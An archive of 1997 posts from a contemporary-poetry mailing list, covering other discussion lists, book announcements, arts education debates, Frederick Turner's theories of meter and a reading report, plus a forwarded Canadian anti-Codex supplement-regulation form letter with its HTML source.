But then, who bothers to read (or save) the welcome messages for e-mail lists?

As for starting a modernist poetry list, given the problems of administering this list; the number of complaints folks make from time to time about gettin gtoo much e-mail; & the general range of non-contemporary, non-American poetry discussed from time to time on CAP-L (Plath's husband is mentioned far more than any figures of the Harlem Renaissance for instance) - it may make more sense to start discussing 20th century American poets on CAP-L rather than to start a new list for the subject. Though people should probably raise the issue there first.

Herb Levy
[redacted]

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62. Peter Zukowski
Modernism discussion list
Wed 5 Nov 1997

A modernism discussion list already exists--at the
University of Washington.

Just send an e-mail note--no subject--to:

[redacted]

and just type as the body of the message:

subscribe modernism <your name>

After a little while you'll get an e-mail note asking you to confirm your request. Just reply and you're on!

I've been on the list for a couple of weeks now and haven't gotten very much mail. . . . so I don't know how lively, long, and involved the threads get.

Maybe we can perk it up a bit.

Hope this is helpful.

Peter Zukowski
[redacted]

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63. Brent Long
Other poetry discussions
Wed 5 Nov 1997

I have been thinking about the idea of other discussion lists this morning, and am wondering why there are no discussions on some of the other contemporary poets that are around these days. I never hear anything on Merwin (a personal favorite of mine) or Levertov or other writers like that. I saw a posting today announcing Rosmarie Waldrop's upcoming reading tonight, but she and her work are never discussed here, either, and that is a shame. She and her husband are both amazing poets. I certainly don't see myself as being attracted to only one or two "styles" of poetry, and would really like to see a broad range of writers and styles addressed. What do some of you think? Is there a call to pursue this?

Brent

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64. p. durgin
Re: Sleep of poetics
Wed 5 Nov 1997

Mark,
"the flowering of culture" -- "public space"
poet-types can set the example for what I believe is a lost notion to most non-poet-types (non-artists, I should say), but it's foggy, by what means
they can but may they?
and if the notion of a public space is actually known to and held sacred by all, why do we not dare to inhabit it?

|||[redacted]|||

_____

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65. Charles Watts

Debbie's adventures now available

Wed 5 Nov 1997

Folks, Lisa Robertson's *Debbie: an Epic* is now published and available from New Star Books, Vancouver, B.C. and (shortly) from Small Press Distribution. And for Stan Persky fans, his new book, Autobiography of a Tattoo is also just out from New Star. Plus a new book from John Harris, a fine writer little known outside B.C. See the publisher's fall list which follows.

For people in the Vancouver, B.C. area, Lisa and New Star will be launching *Debbie* at the Western Front, 303 East 8th Ave., on Saturday, November 15, at 8 p.m.

Herewith follows the necessary data.

Eager readers please note: DO NOT TRY TO ORDER THESE BOOKS BY REPLYING TO THE LIST, BECAUSE IT WON'T WORK. AND PLEASE DON'T BACKCHANNEL ME, CHARLES WATTS, WITH ORDERS. I'm just the messenger. DO BACKCHANNEL NEWSTAR BOOKS AT THEIR E-MAIL ADDRESS, [redacted]

Forwarded message:

> *From: "New Star Books" <[redacted]>*
>
> *The information people need is:*
>
> *Debbie: An Epic costs $11 US/$14 Cdn. It is available (or will be shortly; a box of books is on its way there) from SPD: tel. (510) [redacted]; fax [redacted]; e-mail: [redacted], or direct from New Star: tel. [redacted]; fax [redacted]; e-mail: [redacted]. New Star requires prepayment ($11 per book plus $4 shipping), either by cheque, or by Visa.*
>
> *New Star's mailing address is 2504 York Avenue, Vancouver, BC V6K 1E3.*
>
> **********
> ********** *FALL BOOKS FROM NEW STAR* **********
>
> *AUTOBIOGRAPHY OF A TATTOO*
> *by Stan Persky*
> *240 pages, $19 paper*
>
> *DEBBIE: AN EPIC*
> *by Lisa Robertson*

> *96 pages, $14 paperback*
>
> *OTHER ART*
> *by John Harris*
> *224 pages, $16 paper*
>
> *THE KLUANE NATIONAL PARK HIKING GUIDE*
> *by Vivien Lougheed*
> *256 pages, maps, photos; $20 paperback*
>
> *AFTER THE WELFARE STATE*
> *by Ken Collier*
> *200 pages, $20 paperback*
>
> ******* *E-MAIL US FOR A FREE CATALOGUE* *******
> **********

--
Charles Watts
Theses and Special Collections
Special Collections & Rare Books
Room 7100, Bennett Library
Simon Fraser University
Burnaby, B.C. V5A 1S6
Tel: [redacted]; Fax: [redacted]
E-mail: [redacted]

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66. p. durgin
Re: Sleep of poetics
Wed 5 Nov 1997

And another Mark (Weiss this time), Teach one to "love the arts"? Help "the arts find an audience"? This just doesn't make sense if one presumes that the arts are essential to humankind. Haughty belief? Rash? I don't think so. Loving the arts is like hating medicine. It's an irrational fetishizing. The arts are as much an audience as an artist.

|||[redacted]|||

_____

↑ Index

67. Susan Clark

CODEX for Canadian listees

Wed 5 Nov 1997

This is a multi-part message in MIME format.

dear list,

Yes, this is v. important and is already having repercussions in Canada.
What to do is all below. Watch out for typos.
I sent [hard] copies to both Burke and Dingwall in June and never heard back.
This seems to be the new style of government here in Branchplantland.

best and apologies for unpoetic content,
Susan

Anti-Codex Letter for Health Freedom
Stats

(all links on the word "Codex" take you to the World Health Organization)

Send to David Dingwall, Minister of Health, House of Commons, Ottawa, Ontario, K1A 0A6 (FAX [redacted]), and to Ron Burke, Room 200, Health Protection Branch, Tunneys Pasture, Ottawa, Ontario, K1A 0L2 (FAX [redacted]):

Name:_____Date:_____

Address:_____City:_____Prov:_____

Dear Mr. Dingwall/Mr. Burke:

I am writing to inform you that I totally oppose the German delegations proposal to the World Health Organization's Codex Committee on Nutrition and Foods for Special Dietary Uses.

The proposal to set worldwide dosage limits on nutritional supplement would effectively end my access to the benefits of safe dietary nutrients. My vitamins, minerals and other nutritional supplements I have used for years will no longer be available to me above RDA levels without a medical prescription, as the major pharmaceutical companies take over the dietary supplement industry.

Since no supplement will be available for therapeutic or preventative uses, and all new products would be automatically banned until passing Codex approval, my health and my RIGHTS would be dangerously ignored. The cost of supplements would skyrocket, prohibiting their use by those who often need them the most--seniors and the chronically ill.

Two steps have already been taken by the Codex Committee with very little public awareness. Step three is near the final ratification in the Codex process. Once ratified, Canada will be bound to comply under GATT regulations.

I am strongly urging you, to do everything in your power to oppose the Codex Commission's proposal. Canadian health consumers and business people are counting on you to personally voice your objection, and to make sure the Canadian Codex delegates show their disapproval. I also request that you write to tell me exactly what you intend to do to rectify this problem.

Signed,

_____

This letter prepared for my convenience by "alive" Canadian Journal of Health and Nutrition, Box 80055, Burnaby, BC, V5H 3X1

FAX THE FEDS-this service provided by NetEffect
CANADIAN COALITION FOR HEALTH FREEDOM-more information
GO TO WORLD HEALTH ORGANIZATION INFO ON CODEX
GO TO HEALTHCARE ALERT
GO TO LETTER OF PROTEST, HERBS AND MEDICINAL PLANTS
RETURN TO TOP OF PERSONAL PROFILE
RETURN TO TOP OF sLINKy HOMOPAGE
GO TO INDEX
http://www.chebucto.ns.ca/~at739/anticodex.html

Anti-Codex Letter for Health Freedom

Stats

(all links on the word "Codex" take you to the World Health Organization)

Send to David Dingwall, Minister of Health, House of Commons, Ottawa, Ontario, K1A 0A6 (FAX [redacted]), and to Ron Burke, Room 200, Health Protection Branch, Tunneys Pasture, Ottawa, Ontario, K1A 0L2 (FAX [redacted]):

*Name:*_____*Date:*_____

*Address:*_____*City:*_____*Prov:*_____

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> *The proposal to set worldwide dosage limits on nutritional supplement would effectively end my access to the benefits of safe dietary nutrients. My vitamins, minerals and other nutritional supplements I have used for years will no longer be available to me above RDA levels without a medical prescription, as the major pharmaceutical companies take over the dietary supplement industry.*
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> *Two steps have already been taken by the Codex Committee with very little public awareness. Step three is near the final ratification in the Codex process. Once ratified, Canada will be bound to comply under GATT regulations.*
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> *I am strongly urging you, to do everything in your power to oppose the Codex Commission's proposal. Canadian health consumers and business people are counting on you to personally voice your objection, and to make sure the Canadian Codex delegates show their disapproval. I also request that you write to tell me exactly what you intend to do to rectify this problem.*
>
> *Signed,*
>
> ---
>
> *This letter prepared for my convenience by "alive" Canadian Journal of Health and Nutrition, Box 80055, Burnaby, BC, V5H 3X1*
>
> *FAX THE FEDS-this service provided by NetEffect*
> *CANADIAN COALITION FOR HEALTH FREEDOM-more information*
> *GO TO WORLD HEALTH ORGANIZATION INFO ON CODEX*
> *GO TO HEALTHCARE ALERT*
> *GO TO LETTER OF PROTEST, HERBS AND MEDICINAL PLANTS*
> *RETURN TO TOP OF PERSONAL PROFILE*
> *RETURN TO TOP OF sLINKy HOMOPAGE*
> *GO TO INDEX*

Date: Thu, 19 Jun 1997 00:14:31 -0700
From: Susan Clark <[redacted]>
Organization: A Use for Poets Editing Company

To: Merrie-Ellen Wilcox <[redacted]>
Subject: Codex Letter

This is a multi-part message in MIME format.

MEW: badly written and with typos, dragged this off the net to save time. Faxed Dingwall last week.

hope you're well.
sx

> Anti-Codex Letter for Health Freedom
>
> Stats
>
> (all links on the word "Codex" take you to the World Health
> Organization)
>
> Send to David Dingwall, Minister of Health, House of Commons, Ottawa,
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> Health Protection Branch, Tunneys Pasture, Ottawa, Ontario, K1A 0L2
> (FAX [redacted]):
>
> Name:_____Date:_____
>
> Address:_____City:_____Prov:_____
>
> Dear Mr. Dingwall/Mr. Burke:
>
> I am writing to inform you that I totally oppose the German
> delegations proposal to the World Health Organization's Codex
> Committee on Nutrition and Foods for Special Dietary Uses.
>
> The proposal to set worldwide dosage limits on nutritional supplement
> would effectively end my access to the benefits of safe dietary
> nutrients. My vitamins, minerals and other nutritional supplements I
> have uses for years will no longer be available to me above RDA levels
> without a medical prescription, as the major pharmaceutical companies
> take over the dietary supplement industry.
>
> Since no supplement will be available for therapeutic or preventative
> uses, and all new products would be automatically banned until passing
> Codex approval, my health and my RIGHTS would be dangerously ignored.
> The cost of supplements would skyrocket, prohibiting their use by

> those who often need them the most--seniors and the chronically ill.
>
> Two steps have already been taken by the Codex Committee with very
> little public awareness. Step three is near the final ratification in
> the Codex process. Once ratified, Canada will be bound to comply under
> GATT regulations.
>
> I am strongly urging you, to do everything in your power to oppose the
> Codex Commission's proposal. Canadian health consumers and business
> people are counting on you to personally voice your objection, and to
> make sure the Canadian Codex delegates show their disapproval. I also
> request that you write to tell me exactly what you intend to do to
> rectify this problem.
>
> Signed,
>
> _____
>
> This letter prepared for my convenience by "alive" Canadian Journal of
> Health and Nutrition, Box 80055, Burnaby, BC, V5H 3X1
>
> FAX THE FEDS-this service provided by NetEffect
> CANADIAN COALITION FOR HEALTH FREEDOM-more information
> GO TO WORLD HEALTH ORGANIZATION INFO ON CODEX
> GO TO HEALTHCARE ALERT
> GO TO LETTER OF PROTEST, HERBS AND MEDICINAL PLANTS
> RETURN TO TOP OF PERSONAL PROFILE
> RETURN TO TOP OF sLINKy HOMOPAGE
> GO TO INDEX
http://www.chebucto.ns.ca/~at739/anticodex.html

Content-Base: "http://www.chebucto.ns.ca/~at739/antic
odex.html"

<BASE HREF="http://www.chebucto.ns.ca/~at739/anticodex.html">

<html>
<head>
<title>Codex Letter</title>
</head>
<body>
<h3>Anti-<a
href="http://www.fao.org/waicent/faoinfo/economic/esn/codex/codex.htm">Cod
ex

Letter for Health Freedom</h3>
<a
href="http://www.chebucto.ns.ca/cgi-bin/urlstats?~at739/anticodex.html">Stat
s
(all links on the word "<a
href="http://www.fao.org/waicent/faoinfo/economic/esn/codex/codex.htm">Cod
ex"
take you to the World Health Organization)
Send to David Dingwall, Minister of Health, House of Commons, Ottawa, Ontario, K1A 0A6 (FAX [redacted]), and to Ron Burke, Room 200, Health Protection Branch, Tunneys Pasture, Ottawa, Ontario, K1A 0L2 (FAX [redacted]):

Name:_____Date:_____</
p>

Address:_____City:_____Prov:_____

Dear Mr. Dingwall/Mr. Burke:

I am writing to inform you that I totally oppose the German
delegations proposal to the <a
href="http://www.fao.org/waicent/faoinfo/economic/esn/codex/codex.htm">Wor
ld
Health Organization's
Codex Committee on Nutrition and Foods for Special Dietary Uses.

The proposal to set worldwide dosage limits on nutritional supplement would effectively end my access to the benefits of safe dietary nutrients. My vitamins, minerals and other nutritional supplements I have uses for years will no longer be available to me above RDA levels without a medical prescription, as the major pharmaceutical companies take over the dietary supplement industry.

Since no supplement will be available for therapeutic or preventative uses, and all new products would be automatically banned until passing Codex approval, my health and my RIGHTS would be dangerously ignored. The cost of supplements would skyrocket, prohibiting their use by those who often need them the most--seniors and the chronically ill.

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ex
Committee with very
little public awareness. Step three is near the final ratification in
the <a

href="http://www.fao.org/waicent/faoinfo/economic/esn/codex/codex.htm">Codex
process.
Once ratified, Canada will be bound to comply under GATT regulations.

I am strongly urging you, to do everything in your power to oppose the Codex Commission's proposal. Canadian health consumers and business people are counting on you to personally voice your objection, and to make sure the Canadian <a
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Signed,

_____

This letter prepared for my convenience by "alive" Canadian Journal of Health and Nutrition, Box 80055, Burnaby, BC, V5H 3X1

<pre>FAX THE FEDS-this service provided by NetEffect CANADIAN COALITION FOR HEALTH FREEDOM-more information <a
href="http://www.fao.org/waicent/faoinfo/economic/esn/codex/codex.htm">GO TO WORLD HEALTH ORGANIZATION INFO ON CODEX <a
href="http://www.chebucto.ns.ca/~at739/healthcarealert.html">GO TO HEALTHCARE ALERT <a
href="http://www.chebucto.ns.ca/~at739/protestherbs.html">GO TO LETTER OF PROTEST, HERBS AND MEDICINAL PLANTS <a
href="http://www.chebucto.ns.ca/~at739/personal.html">RETURN TO TOP OF PERSONAL PROFILE <a
href="http://www.chebucto.ns.ca/~at739/Profile.html">RETURN TO TOP OF sLINKy HOMOPAGE <a
href="http://www.chebucto.ns.ca/~at739/index.html">GO TO INDEX</pre> </body> </html>

----------47C228A15437--

----------1E6D4B0F12A0--

↑ Index

68. David Benedetti

Re: computer program for syntactic structures

Wed 5 Nov 1997

Responding to a post by Haroldf Rhenisch,
On Wed, 5 Nov 1997, Aviva Vogel wrote:

> *Oh, Harold! Oh yes! A computer program that would chug away like a Nepalese prayer wheel through the dictionary, slotting words into various syntactical structures! Of course, we can do that endlessly ourselves, without our laptops and CD-Rom drives, but hey! Like an anagram generator, it could be a useful tool (or toy) to jump-start a poetry-writing session (or week or month or year) that's faltering a bit (or a lot). Clever! Enticing! I'll be the first customer! -Aviva*

Just wanted to mention that I wrote a computer program to do something like that--although without the Nepalese prayer wheel idea.

I wrote a program that generated syntactic structures that were correct grammatically and then took words from a list that showed the part of speech of the word but nothing else. So the program generated randomly varying sentence structures without reference to any word meaning.

The results were quite interesting, in that the resulting poems (or prose) made connections of words and phrases that I think would otherwise never occur. The underlying syntactic "sense" made the poems seem meaningful, while still random and quite unusual in terms of combining particular words.

I showed a few copies of the computer-generated work around San Francisco in 1974-75, entitled "Social Climax Text" and "Ideas Imagine Passion."

I'm also thinking about trying to publish the results along with an explanatory essay (although previous efforts didn't work).

Backchannel me for an example, if you anyone is interested.

David Benedetti
Albuquerque, New Mexico

↑ Index

69. Timothy Materer

The scope of CAP-L

Wed 5 Nov 1997

> *it may make more sense to start discussing 20th century American poets on CAP-L rather than to start a new list for the subject. Though people should probably raise the issue there first.*

It seems to me that CAP-L is specifically devoted to Contemporary American Poets and not to that earlier group of English and American originators and experimenters.

Also, one of the strengths of CAP-L (again, just a personal opinion) is that it discusses creative writing: for example, exercises to use in CW classes, the recent failure to award a Yale Younger Poets prize, and the length of time journals take to accept or reject poems.

With apologies for not reading Welcome Messages with sufficient attention,

TM

Timothy Materer, 228 Tate Hall, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

↑ Index

70. mark weiss
(no subject)
Wed 5 Nov 1997

Let me define more precisely my irrational fetish (is there a rational one?). People express themselves, people are receptive. Some of that expression and reception we call art, and some we don't. A Cheerios box is advertizing, not art. It's possible for an impulse to advertize the product of a multinational grain cionsortium to produce art, but if that happens it's a secondary purpose. Otherwise the box is a piece of cultural curiosa and someone will collect it for a museum of cereal. Some of what's expressed can only be received by an audience that has gone through a process of education, formally or informally. That's either because the given expression assumes the knowledge of the language, visual, verbal or aural, in which it's produced, or because it's built on the history of similar expressions, or because it requires an extended attention span. But the reception doesn't end with the acquisition of the language, history or sitzfleisch. One listens to Mozart, or Melville, or Stevens, or Rothko, differently, and receives different, perhaps more complete, information, with repeated listenings. In fact, for some expressions there is never a point where one is finished hearing it anew or hearing new things in it. This continuous meditation on a given expression is a profoundly moving experience. It seems a shame that the vast bulk of the population is denied the experience because they lack the education. Out of that experience come the willingness to fund art institutions that make the experience possible, and also the formation of more artists who are invested in the evolving history and practice of their craft and their culture.

Beyond that, I don't understand your simile. Loving arts=hating medicine. Does that make sense if reversed: hating medicine=loving arts? how about hating arts=loving medicine? Is this some sort of stinkbomb or is it meant to be a more subtle communication?

At 01:00 PM 11/5/97 -0600, you wrote:
>
> And another Mark (Weiss this time),
> Teach one to "love the arts"? Help "the arts find an audience"?
>This just doesn't make sense if one presumes that the arts are essential
>to humankind. Haughty belief? Rash? I don't think so. Loving the arts
>is like hating medicine. It's an irrational fetishizing. The arts are as
>much an audience as an artist.
>
>
> |||[redacted]|||
> _____
>
>
>

↑ Index

71. Jack Foley
1. not _that_ Hughes 2. Still other lists 3. EPOUND-L -Reply
Wed 5 Nov 1997

Thanks. I'll try it out. -- JR Foley

>>> Timothy Materer <[redacted]> 11/05/97
11:58am >>>

3. "Please let me knowthe address for the Pound list at Maine. --JR Foley"

[redacted] The list is called EPOUND-L

Timothy Materer, 228 Tate, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

↑ Index

72. Harold Rhenisch
Re: Sleep of poetics
Wed 5 Nov 1997

---

regarding...

"much of western Europe never engaged in as ruthless a demolition of public space as did the U.S. throughout the mid-twentieth century."

No, that would have been 1939-45.

Lessons were learned.

Harold

↑ Index

73. Harold Rhenisch
Re: Sleep of poetics
Wed 5 Nov 1997

> *if the notion of a public space is actually known to and held sacred by all, why do we not dare to inhabit it?*

Ah, we do. Contemporary culture has succeeded in making the public private and the private public.

The reasons are, in other words, political.

Harold

↑ Index

74. Aviva Vogel
Re: Frederick Turner's The Culture of Hope
Wed 5 Nov 1997

Joseph, as a hand-drummer (African/Cuban/Haitian folkloric styles, etc.), that book might just be the answer to a previously unfulfilled quest to understand better our affinities with rhythm. Thanks for that comment. As to how applicable his theories are to poetry, or how well-supported they are, I guess I'm gonna have to find out for myself. I'm not (currently) super-interested in formal poetry, and never have been, but I leave no stone unturned in my investigations to understand all I can.

Thanks, Aviva

↑ Index

75. David Kellogg
Re: Frederick Turner's The Culture of Hope
Wed 5 Nov 1997

This is a multi-part message in MIME format.

charset="iso-8859-1"

-----Original Message-----
From: J. Tate <[redacted]>
To: [redacted] <[redacted]>
Date: Wednesday, November 05, 1997 1:35 PM
Subject: Re: Frederick Turner's The Culture of Hope

> *On Wed, 5 Nov 1997, David Kellogg wrote:*
>
> *"The Neural Lyre" was a defense of metered poetry using neurobiology and was, bar none, the single stupidest essay to have speculated about the relations of science and literature of recent years.*
>
> *I'm not sure I would call "The Neural Lyre" stupid. It was not terribly well supported with solid evidence, say for the three minute line buffer in our brains, but it was at least an attempt to address what too few people do: why we like rhythm. Neurobiology is not altogether the wrong place to start as rhythm is a biological phenomenon as well as a cognitive one, and why not allow neurobiology a say so in the matter?*

I think it's a three second, not three minute, line buffer. That'd be a long line.

I don't doubt the usefulness of neurobiology for studying rhythm or any other aspect of poetry or poetic form. (I used to be managing editor of _The Journal of Neuroscience_ and I currently teach in an special program combining neurobiology, philosophy of mind, cognitive anthropology, clinical psychology, and cognitive linguistics; so I'm a pretty big fan of the neurosciences.)

Rhythm is biological, cognitive, cultural, and sociopolitical, yes: but the stupidity of Turner's essay is in its prescriptive project, an a priori description of rhythm in terms that lead directly to the New Formalism. How handy. It is a perfect example of what B. H. Smith, following Pierre Bourdieu, has called "the Others' Poison Effect": what is bad for you must be bad for others. Subsuming meter to neural firings (and secondarily to breath and heartbeat, in a bizarre anti-Olson riff) for Turner means in the end that metered poetry is healthy and free verse neither healthy nor, as he says in a footnote somewhere, even really poetry. But if so, how come what would give Turner a heart attack really makes me groove? Good Doc Turner wants to give me a poetic pacemaker; says I've got me a baaaad ticker.

name="David Kellogg.vcf"
filename="David Kellogg.vcf"

BEGIN:VCARD
N:Kellogg;David
FN:David Kellogg
ORG:Duke University;University Program in Writing and Rhetoric

TITLE:Senior Lecturing Fellow
TEL;WORK;VOICE:[redacted]
TEL;HOME;VOICE:[redacted]
TEL;WORK;FAX:[redacted]
TEL;HOME;FAX:[redacted]
ADR;WORK;ENCODING=3DQUOTED-PRINTABLE:;;Box 90023=3D0D=3D0A-
Bell Tower =
One;Durham;NC;27708
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:Box 90023=3D0D=3D0A-
Bell Tower =
One=3D0D=3D0ADurham, NC 27708
ADR;HOME:;;5500-68D Fortunes Ridge Drive;Durham;NC;27713
LABEL;HOME;ENCODING=3DQUOTED-PRINTABLE:5500-68D Fortunes Ridge
=
Drive=3D0D=3D0ADurham, NC 27713
URL:http://www.duke.edu/~kellogg
URL:http://www.duke.edu/~kellogg
EMAIL;PREF;INTERNET:[redacted]
END:VCARD

↑ Index

76. Harold Rhenisch

Re: Wupperthal awake!

Wed 5 Nov 1997

Mark,

> *My understanding is that Pina Bausch and her commandos really do get the workers in their audience*

Great. There must be a shared idea of culture there, however, and of its value. Not a universal situation. Building that might be the first step.

>I don't think there'll ever be enough willing artists to stock the elementary
>schools.

Too bad.

> *There may be enough, however, to teach the teachers, and enough (not necessarily a majority) of those teachers may become enough enthralled to change the culture of the teacher's lounge.*

Teach them what?

Change the culture of the teacher's lounge? Only, I suspect, if art becomes a project rather than a history. Otherwise it will be swallowed.

>As to what kind of art, what aesthetic experience is opened, I'd be content
>to define it as whatever they have no access to now, and that means those
>arts that require a vocabulary, verbal, visual or musical, and some
>history.

Teaching arts as languages is valuable. But isn't the first step one of connections? Beethoven is valuable today because Glass (for example) is carrying on the tradition. The traditions and histories exist, no matter where you enter them. Is it possible to change a culture without first changing the culture of delivery?

> *And I'm pretty unashamedly elitist about this. I don't think it reactionary to want more people to be capable of experiencing some of the more powerful experiences that human culture has generated.*

But what are those experiences? Creation or education? I'd want to teach that the tradition is alive, here, now, in all the mundane and glorious parts of everyday life and perception. That's where history has brought us, that's where history _is._ Then we can talk about individual instances of creation, Brueghel or Bach or Williams or Marlowe.

The alternative is to fall into pc land, where Plato is dismissed as a dead white male, end of story, because the connections of history to life are not brought to life by any form of education that is not essentially creative. Plato is dead, white, and male, but that is not the end of the story.

Is it really elitism you want, or excellence? Access you mentioned.

I think you must mean excellence.

Which do they mean in Wupperthal? Why are the Wupperthalers trudging off to the Tanztheater? Is it because Art is a social project in Germany? Is it because they want to be educated? Is it because they recognize excellence in art and want to support it? I ask, because if we are going to translate this success into a North American context, and committing our meagre arts funding to it, we had better be very sure just what it is

we are bringing across the Atlantic. We had better be very sure that we are bringing all the pieces along. I don't have any answers here. Maybe your sources do. I'd love to hear them.

Whatcha think?

Cheers,

Harold

↑ Index

77. Harold Rhenisch
Re: Sleep of poetics
Wed 5 Nov 1997

The arts are as
much an audience as an artist.

|||[redacted]|||

Well said

↑ Index

78. Laurie Schneider/Crag Hill
NEA and Poetry in the schools
Wed 5 Nov 1997

Henry: I've taught at three secondary schools over the last ten years. I have yet to cross paths with any NEA money or with anyone who has been rewarded NEA money. Does this mean those who receive do not also give? I'm out here wondering wherefore they art be. I get poets into the classroom as often as I can -- I've had Jack Foley, Larry Eigner, and others -- but they have been funded by scant school monies. Is/Was poets-in-the-schools active? Are/Were they NEA funded? As I began teaching at the end of the Reagan debacle, I heard good things about this program but I couldn't catch the ghost. In any case, my experience tells me the best way to show students age 13-18 that poetry is alive is to bring living poets to their classroom doorstep to read and talk. Anyone coming through Moscow, ID in the the next ten years? Give me a call.

Best, Crag Hill [redacted]

↑ Index

79. Safdie Joseph
Re: Lewis and Clark
Wed 5 Nov 1997

(No, not Lewis McAdams and Tom Clark -- though I doubt many will know of their collaborations of the early 70s)

"The Corps of Discovery"

"The Real Unknown"

Come home Ken Burns

all is forgiven

(the shlocky Civil War)

(the maudlin Baseball)

THIS was True Romance

(Part II tonight, PBS)

the unmediated language

the Rockies, the Plains

geography's smell, history's taste

(it ain't lang-po)

HIGHLY RECOMMENDED!

↑ Index

80. henry gould
another Providence reading
Wed 5 Nov 1997

Dear Listfreaks,
before the synapses mufflerize for the night, here's a miniscule report on Susan Wheeler's poetry reading at Brown Univ. s'evening:

Susan Wheeler's poetry is a kind of pure poetry. For Me this doesn't Imply Political Purity or Experimental Sainthood; rather the ironic double of the one and the opposite of the other. She caroms harmonious otherness of traditional poetry (Auden, Poe, Heine, Shakespea, Felix the cat) - in all its MILTONIC ORGAN-MUSIC of rhyme, assonance, diction, vastness, virginal limnation - honing that framing marrow - without any academic fat. There's a razor (ironic, platinum) wobbling between Art & Life; and the goats will be left bad-breathin in the Wheelesque-Miltonic outer darkness - the great Wheel of Heel of EloHim - while Sheep & Sheepdog enjoy the Rewording. Got that, everybody? Make a lot of sense? Good. If the Wheeler Circus come to town (book due this spring) I recommend be there if you can. - Henry in an UnExceptionally InArticulate State

p.s. I is makin sophumeric remarks about a poet who
branches into strange redemptive glories of adverse occasions
(if you know what I mean). Commentary, midrashim, corrections, anybody.

↑ Index

81. Jordan Davis
Re: NEA and Poetry in the schools
Wed 5 Nov 1997

There are a number of poets-in-the schools programs active in the US. I work for Teachers & Writers Collaborative, the main writers-in-residence program in New York. Coincidentally, we sponsored a project a few years back in Salmon, Idaho; NEA recipients Jack Collom and Sheryl Noethe were the poet-teachers. They taught the whole town. They wrote a book about it, _Poetry Everywhere_, which you can order from me by calling 1-888-BOOKS-TW. T&W gets money from the NEA (in fact, the Poetry City reading series was subsidized by the NEA up through this past June). The restructuring of the NEA set up a funding category for Arts-in-Education. I don't know whether groups like California Poets-in-the-Schools, JustBuffalo, Houston Writers-in-the-Schools, COMPAS (a writers-in-residence program based in Minneapolis) or WritersCorps (a national writers-in-residence initiative, I think they call it) get funding from the NEA. You might be interested in the information at our website (http://www.twc.org/), particularly the part about WriteNet, a national writers-in-residence _something_.

Jordan Davis

PS Can anybody confirm or deny Jack Collom's authorship of the spam haiku that are circling the internet chain? "Angioplasty" was the word that made me think I was certain he wrote them (and that they were the poems the Star or the Enquirer went after in their 'Poet Receives $40,000 of your Tax Dollars to Pen Ditties About Spam' article, the source of most of the last congressional mooting of the NEA's right-to-life). Seems like he ought to get credit, if not royalties.

↑ Index

82. Schuchat Simon
Re: Lewis and Clark
Wed 5 Nov 1997

about those Lewis MacAdams/Tom Clark collaborations, as well as the Lewis-Lewis (MacAdams/Warsh) and their ursprung in the Berrigan/Padgett Bean Spasms, what does the list think

after 25-30 years

about the aesthetic value of these efforts, and whether they have now stood the test of time?

Or collaborations in general, e.g., I consider A Nest of Ninnies to be entirely successful, but when I turn to Journey to A War, I seem to be reading prose by

Isherwood with interspersed poems by Auden, i.e., not a genuinely compositional collaboration. (But lets not get into renga.)

And my profound apologies for mis-identifying Langston Hughes, a far better poet than Sylvia Plath's ex-husband for sure.

Zip ity doo dah

↑ Index

83. **mark weiss**

Re: Wupperthal awake!

Thu 6 Nov 1997

No, Glass does not inform the appreciation of nor influence the survival of Beethoven. The late quartets, the last three piano sonatas and the diabelli variations have a lot more to do with it, and I'd guess that the vast majority of those who learn from Beethoven are only dimly aware of Glass. But that's rather beside the point. I think you're contending that only those who make art can teach it, and only teaching the making can imbue the love of same. If that were true there'd be a very small audience. Myself, I barely whistle, and barely scribble, but I think I've managed to turn on more than a few to musical and visual thought--and the examplary passion is a large part of the persuasion. Some of those so persuaded, given the luck and talent, will make new things themselves. Others will value what's made and lead richer lives for the time given. Here's an experience. I left a museum where I had just spent some time with Breughel's Hunters in the Snow. Outside it was late afternoon. The ground was covered with snow and the bare trees were black against it. Suddenly the landscape was collapsed into Breughel's perspective and resolved into the complex ordering of the painting, but at the same time I was aware of the palpable world. I was understanding the way that Breughel had perceived and ordered without relinquishing my habitual perception and ordering, the one informing the other. It was an electrifying moment, another possibility for how to navigate in the world that had been presented. This was an ecstatic moment, and such moments do change one's life. And the ability to experience such moments, to increase the capacity for conceiving and perceiving in a more complex manner is what I try to teach. I think there are political consequences. Such moments release one from preconceptions. And that makes change possible. This is a neutral fact--the capacity for change is amoral. But it can lead to more fully experienced life, and to the making of art.

The Pina Bausch company (the Wupperthaler crowd) tour. They play New York and I think several other American cities and all major cities in Europe I think every year. If you saw their work I think your questions about why people attend would be answered. It's a pretty amazing experience.

At 03:54 PM 11/5/97 -0700, you wrote:
>Mark,
>
>>My understanding is that Pina Bausch and her commandos really do get the
>>workers in their audience
>
> Great. There must be a shared idea of culture there,
however, and of
> its value. Not a universal situation. Building that might
be the first
> step.
>
>>I don't think there'll ever be enough willing artists to stock the
>elementary
>>schools.
>
> Too bad.
>
>>There may be enough, however, to teach the teachers, and enough (not
>>necessarily a majority) of those teachers may become enough enthralled to
>>change the culture of the teacher's lounge.
>
> Teach them what?
>
> Change the culture of the teacher's lounge? Only, I suspect, if art
> becomes a project rather than a history. Otherwise it will be
swallowed.
>
>>As to what kind of art, what aesthetic experience is opened, I'd be
>content
>>to define it as whatever they have no access to now, and that means those
>>arts that require a vocabulary, verbal, visual or musical, and some
>>history.
>
> Teaching arts as languages is valuable. But isn't the first step
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>connections? Beethoven is valuable today because Glass (for example) is
>carrying on the tradition. The traditions and histories exist, no matter
> where you enter them. Is it possible to change a culture without
first
> changing the culture of delivery?
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>>And I'm pretty unashamedly elitist about this. I don't think it
>>reactionary to want more people to be capable of experiencing some of the
>>more powerful experiences that human culture has generated.
>
> But what are those experiences? Creation or education? I'd want to teach
> that the tradition is alive, here, now, in all the mundane and glorious
> parts of everyday life and perception. That's where history has brought
> us, that's where history _is._ Then we can talk about individual
> instances of creation, Brueghel or Bach or Williams or Marlowe.
>
> The alternative is to fall into pc land, where Plato is dismissed as a
> dead white male, end of story, because the connections of history to life
> are not brought to life by any form of education that is not essentially
> creative. Plato is dead, white, and male, but that is not the end of the
> story.
>
> Is it really elitism you want, or excellence? Access you mentioned.
>
> I think you must mean excellence.
>
> Which do they mean in Wupperthal? Why are the Wupperthalers trudging
> off to the Tanztheater? Is it because Art is a social project in Germany?
> Is it because they want to be educated? Is it because they recognize
> excellence in art and want to support it? I ask, because if we are going
> to translate this success into a North American context, and committing
> our meagre arts funding to it, we had better be very sure just what it is
